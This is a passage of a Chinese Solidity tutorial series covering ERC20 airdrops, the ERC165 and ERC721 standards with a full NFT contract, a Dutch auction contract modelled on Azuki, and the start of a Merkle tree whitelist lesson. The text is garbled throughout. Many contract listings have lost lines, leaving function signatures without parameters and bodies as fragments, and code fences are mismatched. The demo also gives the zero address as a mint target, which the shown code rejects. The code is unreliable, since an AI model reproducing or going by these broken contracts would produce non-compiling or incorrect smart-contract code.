        uint _amountSum = getSum(_amounts); // 计算空投ETH总量
        // 检查转入ETH等于空投总量
        require(msg.value == _amountSum, "Transfer amount error");
        // for循环，利用transfer函数发送ETH
        for (uint256 i = 0; i < _addresses.length; i++) {
            _addresses[i].transfer(_amounts[i]);
        }
    }
    ```

### 空投实践

1. 部署`ERC20`代币合约，并给自己`mint`10000 单位代币。

![部署`ERC20`](./img/33-1.png)

![mint](./img/33-2.png)

2. 部署`Airdrop`空投合约。

![部署`Airdrop`合约](./img/33-3.png)

3. 利用`ERC20`代币合约中的`approve()`函数，给`Airdrop`空投合约授权10000 单位代币。

![授权`Airdrop`合约](./img/33-4.png)

4. 执行`Airdrop`合约的`multiTransferToken()`函数进行空投， `_token`填`ERC20`代币地址，`_addresses`和`_amounts`按照以下填写

```
// _addresses填写
["0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2", "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"]

// _amounts填写
[100, 200]
```

![空投](./img/33-5.png)

5.

利用`ERC20`合约的`balanceOf()`函数查询上面用户地址的代币余额，成功变为`100`和`200`，空投成功！

![查询空投用户的代币余额](./img/33-6.png)

## 总结

这一讲，我们介绍了如何使用`solidity`写`ERC20`代币空投合约，极大增加空投效率。我撸空投收获最大的一次是`ENS`空投，你们呢？

---
title: 34. ERC721
tags:
  - solidity
  - ERC721
  - ERC165
---

# WTF Solidity极简入门: 34. ERC721

-----

`BTC`和`ETH`这类代币都属于同质化代币，矿工挖出的第`1`枚`BTC`与第`10000`枚`BTC`并没有不同，是等价的。但世界中很多物品是不同质的，其中包括房产、古董、虚拟艺术品等等，这类物品无法用同质化代币抽象。因此，[以太坊EIP721](https://eips.ethereum.org/EIPS/eip-721)提出了`ERC721`标准，来抽象非同质化的物品。这一讲，我们将介绍`ERC721`标准，并基于它发行一款`NFT`。

## EIP与ERC

这里有一个点需要理解，本节标题是`ERC721`，这里又提到了`EIP721`,这两个是什么关系呢？

`EIP`全称 `Ethereum Imporvement Proposals`(以太坊改进建议), 是以太坊开发者社区提出的改进建议, 是一系列以编号排定的文件, 类似互联网上IETF的RFC。

`EIP`可以是 `Ethereum` 生态中任意领域的改进, 比如新特性、ERC、协议改进、编程工具等等。

`ERC`全称 Ethereum Request For Comment (以太坊意见征求稿), 用以记录以太坊上应用级的各种开发标准和协议。如典型的Token标准(`ERC20`, `ERC721`)、名字注册(`ERC26`, `ERC13`), URI范式(`ERC67`),

Library/Package格式(`EIP82`), 钱包格式(`EIP75`,`EIP85`)。

ERC协议标准是影响以太坊发展的重要因素, 像`ERC20`, `ERC223`, `ERC721`, `ERC777`等, 都是对以太坊生态产生了很大影响。

所以最终结论：`EIP`包含`ERC`。

**在这一节学习完成后，才能明白为什么上来讲`ERC165`而不是`ERC721`，想要看结论可直接移动到最下面**

## ERC165

通过[ERC165标准](https://eips.ethereum.org/EIPS/eip-165)，智能合约可以声明它支持的接口，供其他合约检查。简单的说，ERC165就是检查一个智能合约是不是支持了`ERC721`，`ERC1155`的接口。

`IERC165`接口合约只声明了一个`supportsInterface`函数，输入要查询的`interfaceId`接口id，若合约实现了该接口id，则返回`true`：

interface IERC165 {
    /**
     * @dev 如果合约实现了查询的`interfaceId`，则返回true
     * 规则详见：https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     *
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
```

我们可以看下`ERC721`是如何实现`supportsInterface()`函数的：

    function supportsInterface(bytes4 interfaceId) external pure override returns (bool)
    {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC165).interfaceId;
    }
```

当查询的是`IERC721`或`IERC165`的接口id时，返回`true`；反之返回`false`。

##

IERC721

`IERC721`是`ERC721`标准的接口合约，规定了`ERC721`要实现的基本函数。它利用`tokenId`来表示特定的非同质化代币，授权或转账都要明确`tokenId`；而`ERC20`只需要明确转账的数额即可。

/**
 * @dev ERC721标准接口.
 */

    function ownerOf(uint256 tokenId) external view returns (address owner);

    function safeTransferFrom(
        uint256 tokenId,
        bytes calldata data
    ) external;

        uint256 tokenId

    function

isApprovedForAll(address owner, address operator) external view returns (bool);
}
```

- `safeTransferFrom`：安全转账（如果接收方是合约地址，会要求实现`ERC721Receiver`接口）。参数为转出地址`from`，接收地址`to`和`tokenId`。

##

IERC721Receiver

如果一个合约没有实现`ERC721`的相关函数，转入的`NFT`就进了黑洞，永远转不出来了。为了防止误转账，`ERC721`实现了`safeTransferFrom()`安全转账函数，目标合约必须实现了`IERC721Receiver`接口才能接收`ERC721`代币，不然会`revert`。`IERC721Receiver`接口只包含一个`onERC721Received()`函数。

// ERC721接收者接口：合约必须实现这个接口来通过安全转账接收ERC721
interface IERC721Receiver {
    function onERC721Received(
        address operator,
        uint tokenId,
    ) external returns (bytes4);
}
```

我们看下`ERC721`利用`_checkOnERC721Received`来确保目标合约实现了`onERC721Received()`函数（返回`onERC721Received`的`selector`）：
    function _checkOnERC721Received(
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            return
                IERC721Receiver(to).onERC721Received(
                    msg.sender,
                    from,
                    tokenId,
                    _data
                ) == IERC721Receiver.onERC721Received.selector;
        } else {
            return true;
        }
    }
```

## IERC721Metadata
`IERC721Metadata`是`ERC721`的拓展接口，实现了3个查询`metadata`元数据的常用函数：

- `name()`：返回代币名称。
- `symbol()`：返回代币代号。
- `tokenURI()`：通过`tokenId`查询`metadata`的链接`url`，`ERC721`特有的函数。

interface

IERC721Metadata is IERC721 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function tokenURI(uint256 tokenId) external view returns (string memory);
}
```

## ERC721主合约
`ERC721`主合约实现了`IERC721`，`IERC165`和`IERC721Metadata`定义的所有功能，包含`4`个状态变量和`17`个函数。实现都比较简单，每个函数的功能见代码注释：

// by 0xAA

import "./IERC165.sol";
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./IERC721Metadata.sol";
import "./Address.sol";
import "./String.sol";

contract ERC721 is IERC721, IERC721Metadata{
    using Address for address; // 使用Address库，用isContract来判断地址是否为合约
    using Strings for uint256; // 使用String库，

    // Token名称
    string public override name;
    // Token代号
    string public override symbol;
    // tokenId 到 owner address 的持有人映射
    mapping(uint => address) private _owners;
    // address 到 持仓数量 的持仓量映射
    mapping(address => uint) private _balances;
    // tokenID 到 授权地址 的授权映射
    mapping(uint => address) private _tokenApprovals;
    //  owner地址。到operator地址 的批量授权映射
    mapping(address => mapping(address => bool)) private

_operatorApprovals;

    /**
     * 构造函数，初始化`name` 和`symbol` .
     */
    constructor(string memory name_, string memory symbol_) {
    }

    // 实现IERC165接口supportsInterface
    function supportsInterface(bytes4 interfaceId)
        external
        pure
        override
        returns (bool)
    {
        return
            interfaceId == type(IERC165).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId;
    }

    // 实现IERC721的balanceOf，利用_balances变量查询owner地址的balance。
    function balanceOf(address owner) external view override returns (uint) {
        require(owner != address(0), "owner = zero address");
        return _balances[owner];
    }

    // 实现IERC721的ownerOf，利用_owners变量查询tokenId的owner。
    function ownerOf(uint tokenId) public view override returns (address owner) {
        owner = _owners[tokenId];
        require(owner != address(0), "token doesn't exist");
    }

    // 实现IERC721的isApprovedForAll，利用_operatorApprovals变量查询owner地址是否将所持NFT批量授权给了operator地址。
    function isApprovedForAll(address owner, address operator)
        external
        view
        override
    {
        return _operatorApprovals[owner][operator];
    }

    //

实现IERC721的setApprovalForAll，将持有代币全部授权给operator地址。调用_setApprovalForAll函数。
    function setApprovalForAll(address operator, bool approved) external override {
        _operatorApprovals[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    // 实现IERC721的getApproved，利用_tokenApprovals变量查询tokenId的授权地址。
    function getApproved(uint tokenId) external view override returns (address) {
        require(_owners[tokenId] != address(0), "token doesn't exist");
        return _tokenApprovals[tokenId];
    }
     
    // 授权函数。通过调整_tokenApprovals来，授权 to 地址操作 tokenId，同时释放Approval事件。
    function _approve(
        address owner,
        uint tokenId
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    // 实现IERC721的approve，将tokenId授权给 to 地址。条件：to不是owner，且msg.sender是owner或授权地址。调用_approve函数。
    function approve(address to, uint tokenId) external override {
        address owner = _owners[tokenId];
        require(
            msg.sender == owner || _operatorApprovals[owner][msg.sender],
            "not owner nor approved for all"
        );
        _approve(owner, to, tokenId);
    }

    // 查询 spender地址是否可以使用tokenId（他是owner或被授权地址）。
    function

_isApprovedOrOwner(
        address spender,
    ) private view returns (bool) {
        return (spender == owner ||
            _tokenApprovals[tokenId] == spender ||
            _operatorApprovals[owner][spender]);
    }

    /*
     * 转账函数。通过调整_balances和_owner变量将 tokenId 从 from 转账给 to，同时释放Transfer事件。
     * 条件:
     * 1. tokenId 被 from 拥有
     * 2. to 不是0地址
     */
    ) private {
        require(from == owner, "not owner");
        require(to != address(0), "transfer to the zero address");

        _approve(owner, address(0), tokenId);

        _balances[from] -= 1;
        _balances[to] += 1;
        _owners[tokenId] = to;

        emit Transfer(from, to, tokenId);
    }
    
    // 实现IERC721的transferFrom，非安全转账，不建议使用。调用_transfer函数
    ) external override {
        address owner = ownerOf(tokenId);
        require(
            _isApprovedOrOwner(owner, msg.sender, tokenId),
            "not owner nor approved"
        );
        _transfer(owner, from, to, tokenId);
    }

    /**
     * 安全转账，安全地将 tokenId 代币从 from 转移到 to，会检查合约接收者是否了解 ERC721 协议，以防止代币被永久锁定。调用了_transfer函数和_checkOnERC721Received函数。条件：
     * from 不能是0地址.
     * to 不能是0地址.
     * tokenId 代币必须存在，并且被

from拥有.
     * 如果 to 是智能合约, 他必须支持 IERC721Receiver-onERC721Received.
     */
    function _safeTransfer(
    ) private {
        require(_checkOnERC721Received(from, to, tokenId, _data), "not ERC721Receiver");
    }

    /**
     * 实现IERC721的safeTransferFrom，安全转账，调用了_safeTransfer函数。
     */
    ) public override {
        require(
        );
        _safeTransfer(owner, from, to, tokenId, _data);
    }

    // safeTransferFrom重载函数
        safeTransferFrom(from, to, tokenId, "");
    }

    /** 
     * 铸造函数。通过调整_balances和_owners变量来铸造tokenId并转账给 to，同时释放Transfer事件。铸造函数。通过调整_balances和_owners变量来铸造tokenId并转账给 to，同时释放Transfer事件。
     * 这个mint函数所有人都能调用，实际使用需要开发人员重写，加上一些条件。
     * 条件:
     * 1. tokenId尚不存在。
     * 2. to不是0地址.
     */
    function _mint(address to, uint tokenId) internal virtual {
        require(to != address(0), "mint to zero

address");
        require(_owners[tokenId] == address(0), "token already minted");

        emit Transfer(address(0), to, tokenId);
    }

    // 销毁函数，通过调整_balances和_owners变量来销毁tokenId，同时释放Transfer事件。条件：tokenId存在。
    function _burn(uint tokenId) internal virtual {
        require(msg.sender == owner, "not owner of token");

        _balances[owner] -= 1;
        delete _owners[tokenId];

        emit Transfer(owner, address(0), tokenId);
    }

    // _checkOnERC721Received：函数，用于在 to 为合约的时候调用IERC721Receiver-onERC721Received, 以防 tokenId 被不小心转入黑洞。
            return
                    from,
                    tokenId,
                    _data
        } else {
        }
    }

    /**
     * 实现IERC721Metadata的tokenURI函数，查询metadata。
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_owners[tokenId] != address(0), "Token Not

Exist");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * 计算{tokenURI}的BaseURI，tokenURI就是把baseURI和tokenId拼接在一起，需要开发重写。
     * BAYC的baseURI为ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ 
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }
}
```

## 写一个免费铸造的APE
我们来利用`ERC721`来写一个免费铸造的`WTF APE`，总量设置为`10000`，只需要重写一下`mint()`和`baseURI()`函数即可。由于`baseURI()`设置的和`BAYC`一样，元数据会直接获取无聊猿的，类似[RRBAYC](https://rrbayc.com/)：

// by 0xAA

import "./ERC721.sol";

contract WTFApe is ERC721{
    uint public MAX_APES = 10000; // 总量

    // 构造函数
    constructor(string memory name_, string memory symbol_) ERC721(name_, symbol_){
    }

    //BAYC的baseURI为ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/ 
    function _baseURI() internal pure override returns (string memory) {
        return "ipfs://QmeSjSinHpPnmXmspMjwiXyN6zS4E9zccariGR3jxcaWtq/";
    }
    
    // 铸造函数
    function mint(address to, uint tokenId) external {
        require(tokenId >= 0 &&

tokenId < MAX_APES, "tokenId out of range");
        _mint(to, tokenId);
    }
}
```
## 发行`ERC721`NFT

有了`ERC721`标准后，在`ETH`链上发行NFT变得非常简单。现在，我们发行属于我们的NFT。

在`Remix`上编译好`ERC721`合约和`WTFApe`合约（按照顺序），在部署栏点击下按钮，输入构造函数的参数，`name_`和`symbol_`都设为`WTF`，然后点击`transact`键进行部署。

![NFT信息如何重点](./img/34-1.png)
![部署合约](./img/34-2.png)

这样，我们就创建好了`WTF`NFT。我们需要运行`mint()`函数来给自己铸造一些代币。在`mint`函数那一栏点开右侧的下按钮输入账户地址，和tokenid，并点击`mint`按钮，为自己铸造`0`号`WTF`NFT。

- 铸造地址`0x0000000000000000000000000000000000000000`
- tokenid`0`

![铸造NFT](./img/34-3.png)

我们利用`balanceOf()`函数来查询账户余额。输入我们当前的账户，可以看到有一个`NFT`，铸造成功。

![查询NFT详情](./img/34-4.png)

我们也可以利用`ownerOf()`函数来查询NFT属于哪个账户。输入`tokenid`，可以我们的地址，查询无误。

![tokenid查询拥有者详情](./img/34-5.png)

## ERC165与ERC721详解
上面说到,为了防止NFT被转到一个没有能力操作NFT的合约中去,目标必须正确实现ERC721TokenReceiver接口：
interface ERC721TokenReceiver {
    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data)

external returns(bytes4);
}
```
拓展到编程语言的世界中去，无论是Java的interface，还是Rust的Trait(当然solidity中和trait更像的是library)，只要是和接口沾边的，都在透露着一种这样的意味：接口是某些行为的集合(在solidity中更甚，接口完全等价于函数选择器的集合)，某个类型只要实现了某个接口，就表明该类型拥有这样的一种功能。因此，只要某个contract类型实现了上述的`ERC721TokenReceiver`接口(更具体而言就是实现了`onERC721Received`这个函数),该contract类型就对外表明了自己拥有管理NFT的能力。当然操作NFT的逻辑被实现在该合约其他的函数中。
ERC721标准在执行`safeTransferFrom`的时候会检查目标合约是否实现了`onERC721Received`函数,这是一种利用ERC165思想进行的操作。  
**那究竟什么是ERC165呢?**  
ERC165是一种对外表明自己实现了哪些接口的技术标准。就像上面所说的，实现了一个接口就表明合约拥有种特殊能力。有一些合约与其他合约交互时，期望目标合约拥有某些功能，那么合约之间就能够通过ERC165标准对对方进行查询以检查对方是否拥有相应的能力。  
以ERC721合约为例，当外部对某个合约进行检查其是否是ERC721时，[怎么做？](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165) 。按照这个说法，检查步骤应该是首先检查该合约是否实现了ERC165, 再检查该合约实现的其他特定接口。此时该特定接口是IERC721. IERC721的是ERC721的基本接口(为什么说基本，是因为还有其他的诸如`ERC721Metadata` `ERC721Enumerable` 这样的拓展)：

/// 注意这个**0x80ac58cd**
///  **⚠⚠⚠ Note: the ERC-165 identifier for this interface is 0x80ac58cd. ⚠⚠⚠**
interface ERC721 /* is ERC165 */ {
    event Transfer(address indexed _from, address indexed

_to, uint256 indexed _tokenId);

    event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);

    event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);

    function balanceOf(address _owner) external view returns (uint256);

    function ownerOf(uint256 _tokenId) external view returns (address);

    function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;

    function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;

    function transferFrom(address _from, address _to, uint256 _tokenId) external payable;

    function approve(address _approved, uint256 _tokenId) external payable;

    function setApprovalForAll(address _operator, bool _approved) external;

    function getApproved(uint256 _tokenId) external view returns (address);

    function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
```
**0x80ac58cd**=
`bytes4(keccak256(ERC721.Transfer.selector) ^ keccak256(ERC721.Approval.selector) ^ ···

^keccak256(ERC721.isApprovedForAll.selector))`，这是ERC165规定的计算方式。

那么，类似的，能够计算出ERC165本身的接口(它的接口里只有一个
`function supportsInterface(bytes4 interfaceID) external view returns (bool);` 函数，对其进行`bytes4(keccak256(supportsInterface.selector))` 得到**0x01ffc9a7**。此外，ERC721还定义了一些拓展接口，比如`ERC721Metadata` ，长这样：

///  Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface ERC721Metadata /* is ERC721 */ {
    function name() external view returns (string _name);
    function symbol() external view returns (string _symbol);
    function tokenURI(uint256 _tokenId) external view returns (string); // 这个很重要，前端展示的小图片的链接都是这个函数返回的
}
```

这个**0x5b5e139f** 的计算就是:

IERC721Metadata.name.selector ^ IERC721Metadata.symbol.selector ^ IERC721Metadata.tokenURI.selector
```

solamte实现的ERC721.sol是怎么完成这些ERC165要求的特性的呢？

function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
        return
            interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165
            interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721
            interfaceId == 0x5b5e139f; // ERC165 Interface ID for

ERC721Metadata
}
```

没错就这么简单。当外界按照[link1](https://eips.ethereum.org/EIPS/eip-165#how-to-detect-if-a-contract-implements-erc-165) 的步骤去做检查的时候，如果外界想检查这个合约是否实现了165,好说，就是supportsInterface函数在入参是`0x01ffc9a7`时必须返回true，在入参是`0xffffffff`时，返回值必须是false。上述实现完美达成要求。

当外界想检查这个合约是否是ERC721的时候，好说，入参是**0x80ac58cd** 的时候表明外界想做这个检查。返回true。

当外界想检查这个合约是否实现ERC721的拓展ERC721Metadata接口时，入参是0x5b5e139f。好说，返回了true。

并且由于该函数是virtual的。因此该合约的使用者可以继承该合约，然后继续实现`ERC721Enumerable` 接口。实现完里面的什么`totalSupply` 啊之类的函数之后，把继承的`supportsInterface`重实现为

        return
            interfaceId == 0x5b5e139f || // ERC165 Interface ID for ERC721Metadata
            interfaceId == 0x780e9d63;   // ERC165 Interface ID for ERC721Enumerable
}
```

**优雅，简洁，可拓展性拉满。**

## 总结
这一讲，我介绍了`ERC721`标准、接口及其实现，并在合约代码进行了中文注释。并且我们利用`ERC721`做了一个免费铸造的`WTF APE`

NFT，元数据直接调用于`BAYC`。`ERC721`标准仍在不断发展中，目前比较流行的版本为`ERC721Enumerable`（提高NFT可访问性）和`ERC721A`（节约铸造`gas`）。

---
title: 35. 荷兰拍卖
tags:
  - solidity
  - ERC721
  - Dutch Auction
---

# WTF Solidity极简入门: 35. 荷兰拍卖

-----

这一讲，我将介绍荷兰拍卖，并通过简化版`Azuki`荷兰拍卖代码，讲解如何通过`荷兰拍卖`发售`ERC721`标准的`NFT`。

## 荷兰拍卖

荷兰拍卖（`Dutch Auction`）是一种特殊的拍卖形式。 亦称“减价拍卖”，它是指拍卖标的的竞价由高到低依次递减直到第一个竞买人应价（达到或超过底价）时击槌成交的一种拍卖。

![荷兰拍卖](./img/35-1.png)

在币圈，很多`NFT`通过荷兰拍卖发售，其中包括`Azuki`和`World of Women`，其中`Azuki`通过荷兰拍卖筹集了超过`8000`枚`ETH`。

项目方非常喜欢这种拍卖形式，主要有两个原因

1. 荷兰拍卖的价格由最高慢慢下降，能让项目方获得最大的收入。

2. 拍卖持续较长时间（通常6小时以上），可以避免`gas war`。

## `DutchAuction`合约

代码基于`Azuki`的[代码](https://etherscan.io/address/0xed5af388653567af2f388e6224dc7c4b3241c544#code)简化而成。`DucthAuction`合约继承了之前介绍的`ERC721`和`Ownable`合约：

pragma

solidity ^0.8.4;

import "@openzeppelin/contracts/access/Ownable.sol";
import "https://github.com/AmazingAng/WTFSolidity/blob/main/34_ERC721/ERC721.sol";

contract DutchAuction is Ownable, ERC721 {
```

### `DutchAuction`状态变量

合约中一共有`9`个状态变量，其中有`6`个和拍卖相关，他们是：

- `COLLECTOIN_SIZE`：NFT总量。
- `AUCTION_START_PRICE`：荷兰拍卖起拍价，也是最高价。
- `AUCTION_END_PRICE`：荷兰拍卖结束价，也是最低价/地板价。
- `AUCTION_TIME`：拍卖持续时长。
- `AUCTION_DROP_INTERVAL`：每过多久时间，价格衰减一次。
- `auctionStartTime`：拍卖起始时间（区块链时间戳，`block.timestamp`）。

    uint256 public constant COLLECTOIN_SIZE = 10000; // NFT总数
    uint256 public constant AUCTION_START_PRICE = 1 ether; // 起拍价(最高价)
    uint256 public constant AUCTION_END_PRICE = 0.1 ether; // 结束价(最低价/地板价)
    uint256 public constant AUCTION_TIME = 10 minutes; // 拍卖时间，为了测试方便设为10分钟
    uint256 public constant AUCTION_DROP_INTERVAL = 1 minutes; // 每过多久时间，价格衰减一次
    uint256 public constant AUCTION_DROP_PER_STEP =
        (AUCTION_START_PRICE - AUCTION_END_PRICE) /
        (AUCTION_TIME / AUCTION_DROP_INTERVAL); // 每次价格衰减步长
    
    uint256 public auctionStartTime; // 拍卖开始时间戳
    string private _baseTokenURI;   // metadata URI
    uint256[] private

_allTokens; // 记录所有存在的tokenId 
```

### `DutchAuction`函数
荷兰拍卖合约中共有`9`个函数，与`ERC721`相关的函数我们这里不再重复介绍，只介绍和拍卖相关的函数。

- 设定拍卖起始时间：我们在构造函数中会声明当前区块时间为起始时间，项目方也可以通过`setAuctionStartTime()`函数来调整：

    constructor() ERC721("WTF Dutch Auctoin", "WTF Dutch Auctoin") {
        auctionStartTime = block.timestamp;
    }

    // auctionStartTime setter函数，onlyOwner
    function setAuctionStartTime(uint32 timestamp) external onlyOwner {
        auctionStartTime = timestamp;
    }
```

- 获取拍卖实时价格：`getAuctionPrice()`函数通过当前区块时间以及拍卖相关的状态变量来计算实时拍卖价格。

当`block.timestamp`小于起始时间，价格为最高价`AUCTION_START_PRICE`；

当`block.timestamp`大于结束时间，价格为最低价`AUCTION_END_PRICE`；

当`block.timestamp`处于两者之间时，则计算出当前的衰减价格。

    // 获取拍卖实时价格
    function getAuctionPrice()
        public
        view
        returns (uint256)
    {
        if (block.timestamp < auctionStartTime) {
        return AUCTION_START_PRICE;
        }else if (block.timestamp - auctionStartTime >= AUCTION_TIME) {
        return AUCTION_END_PRICE;
        } else {
        uint256 steps = (block.timestamp - auctionStartTime) /
            AUCTION_DROP_INTERVAL;
        return AUCTION_START_PRICE - (steps * AUCTION_DROP_PER_STEP);
        }
    }
```

-

用户拍卖并铸造`NFT`：用户通过调用`auctionMint()`函数，支付`ETH`参加荷兰拍卖并铸造`NFT`。

该函数首先检查拍卖是否开始/铸造是否超出`NFT`总量。接着，合约通过`getAuctionPrice()`和铸造数量计算拍卖成本，并检查用户支付的`ETH`是否足够：如果足够，则将`NFT`铸造给用户，并退回超额的`ETH`；反之，则回退交易。

    // 拍卖mint函数
    function auctionMint(uint256 quantity) external payable{
        uint256 _saleStartTime = uint256(auctionStartTime); // 建立local变量，减少gas花费
        require(
        _saleStartTime != 0 && block.timestamp >= _saleStartTime,
        "sale has not started yet"
        ); // 检查是否设置起拍时间，拍卖是否开始
        require(
        totalSupply() + quantity <= COLLECTOIN_SIZE,
        "not enough remaining reserved for auction to support desired mint amount"
        ); // 检查是否超过NFT上限

        uint256 totalCost = getAuctionPrice() * quantity; // 计算mint成本
        require(msg.value >= totalCost, "Need to send more ETH."); // 检查用户是否支付足够ETH
        
        // Mint NFT
        for(uint256 i = 0; i < quantity; i++) {
            uint256 mintIndex = totalSupply();
            _mint(msg.sender, mintIndex);
            _addTokenToAllTokensEnumeration(mintIndex);
        }
        // 多余ETH退款
        if (msg.value > totalCost) {
            payable(msg.sender).transfer(msg.value - totalCost); //注意一下这里是否有重入的风险
        }
    }
```

- 项目方取出筹集的`ETH`：项目方可以通过`withdrawMoney()`函数提走拍卖筹集的`ETH`。

    //

提款函数，onlyOwner
    function withdrawMoney() external onlyOwner {
        (bool success, ) = msg.sender.call{value: address(this).balance}(""); // call函数的调用方式详见第22讲
        require(success, "Transfer failed.");
    }
```
## Remix演示

1. 合约部署：首先，部署`DutchAuction.sol`合约，并通过`setAuctionStartTime()`函数设置拍卖起始时间。
本例采用的起始时间为，2022年7月12日 1点30分，对应的utc时间为1658338200。实验时可以在工具网站（[比如这里](https://tool.chinaz.com/tools/unixtime.aspx)）自行查询对应时间。
![设置拍卖起始时间](./img/35-2.png)

2. 荷兰拍卖：随后，可以通过`getAuctionPrice()`函数获取到**当前**的拍卖价格。可以观察到，拍卖开始前的价格为`起拍价 AUCTION_START_PRICE`随着拍卖进行，拍卖价格在逐渐降低，直到降低至`地板价 AUCTION_END_PRICE`后不再变化。
![荷兰拍卖价格变化](./img/35-3.png)

3. Mint操作：通过`auctionMin()`函数，完成mint，可以看见本例中，由于时间已经超过拍卖时间，因此仅耗费了`地板价`就完成了拍卖。
![完成荷兰拍卖](./img/35-4.png)

4. 提取`ETH`：直接通过`withdrawMoney()`函数，便能将筹集到的`ETH`通过`call()`发送到合约创建者的地址。

## 总结

这一讲，我们介绍了荷兰拍卖，并通过简化版`Azuki`荷兰拍卖代码，讲解如何通过`荷兰拍卖`发售`ERC721`标准的`NFT`。我拍卖到的最贵的`NFT`是音乐家`Jonathan Mann`的一首音乐`NFT`，你呢？

---
title: 36. 默克尔树
tags:
  - solidity
  - ERC721
  - Merkle Tree
---

# WTF Solidity极简入门: 36. 默克尔树 Merkle Tree

-----

这一讲，我将介绍`Merkle Tree`，以及如何利用`Merkle Tree`发放`NFT`白名单。

## `Merkle Tree`
`Merkle Tree`，也叫默克尔树或哈希树，是区块链的底层加密技术，被比特币和以太坊区块链广泛采用。`Merkle Tree`是一种自下而上构建的加密树，每个叶子是对应数据的哈希，而每个非叶子为它的`2`个子节点的哈希。

![Merkle Tree](./img/36-1.png)

`Merkle Tree`允许对大型数据结构的内容进行有效和安全的验证（`Merkle Proof`）。对于有`N`个叶子结点的`Merkle Tree`，在已知`root`根值的情况下，验证某个数据是否有效（属于`Merkle Tree`叶子结点）只需要`log(N)`个数据（也叫`proof`），非常高效。如果数据有误，或者给的`proof`错误，则无法还原出`root`根植。
下面的例子中，叶子`L1`的`Merkle proof`为`Hash 0-1`和`Hash 1`：知道这两个值，就能验证`L1`的值是不是在`Merkle Tree`的叶子中。为什么呢？
因为通过叶子`L1`我们就可以算出`Hash 0-0`，我们又知道了`Hash 0-1`，那么`Hash 0-0`和`Hash 0-1`就可以联合算出`Hash

0`，然后我们又知道`Hash 1`，`Hash 0`和`Hash 1`就可以联合算出`Top Hash`，也就是root节点的hash。

![Merkle Proof](./img/36-2.png)

## 生成`Merkle Tree`

我们可以利用[网页](https://lab.miguelmota.com/merkletreejs/example/)或者Javascript库[merkletreejs](https://github.com/miguelmota/merkletreejs)来生成`Merkle Tree`。

这里我们用网页来生成`4`个地址作为叶子结点的`Merkle Tree`。叶子结点输入：

    [
    "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", 
    "0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2",
    "0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db",
    "0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB"
    ]
```

在菜单里选上`Keccak-256`, `hashLeaves`和`sortPairs`选项，然后点击`Compute`，`Merkle Tree`就生成好了。`Merkle Tree`展开为：
```
└─ 根: eeefd63003e0e702cb41cd0043015a6e26ddb38073cc6ffeb0ba3e808ba8c097
   ├─ 9d997719c0a5b5f6db9b8ac69a988be57cf324cb9fffd51dc2c37544bb520d65
   │  ├─ 叶子0：5931b4ed56ace4c46b68524cb5bcbf4195f1bbaacbe5228fbd090546c88dd229
   │  └─ 叶子1：999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb
   └─ 4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c
      ├─

叶子2：04a10bfd00977f54cc3450c9b25c9b3a502a089eba0097ba35fc33c4ea5fcb54
      └─ 叶子3：dfbe3e504ac4e35541bebad4d0e7574668e16fefa26cd4172f93e18b59ce9486
```

![生成Merkle Tree](./img/36-3.png)

## `Merkle Proof`验证
通过网站，我们可以得到`地址0`的`proof`如下，即图2中蓝色结点的哈希值：
[
  "0x999bf57501565dbd2fdcea36efa2b9aef8340a8901e3459f4a4c926275d36cdb",
  "0x4726e4102af77216b09ccd94f40daa10531c87c4d60bba7f3b3faf5ff9f19b3c"
]
```
![Merkle Proof](./img/36-4.png)

我们利用`MerkleProof`库来验证：

library MerkleProof {
    /**
     * @dev 当通过`proof`和`leaf`重建出的`root`与给定的`root`相等时，返回`true`，数据有效。
     * 在重建时，叶子节点对和元素对都是排序过的。
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf
    ) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Returns 通过Merkle树用`leaf`和`proof`计算出`root`. 当重建出的`root`和给定的`root`相同时，`proof`才是有效的。
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = _hashPair(computedHash, proof[i]);
        }
        return

computedHash;
    }

    // Sorted Pair Hash
    function _hashPair(bytes32 a, bytes32 b) private pure returns (bytes32) {
        return a < b ? keccak256(abi.encodePacked(a, b)) : keccak256(abi.encodePacked(b, a));
    }
}
```
`MerkleProof`库有三个函数：

1. `verify()`函数：利用`proof`数来验证`leaf`是否属于根为`root`的`Merkle Tree`中，如果是，则返回`true`。它调用了`processProof()`函数。

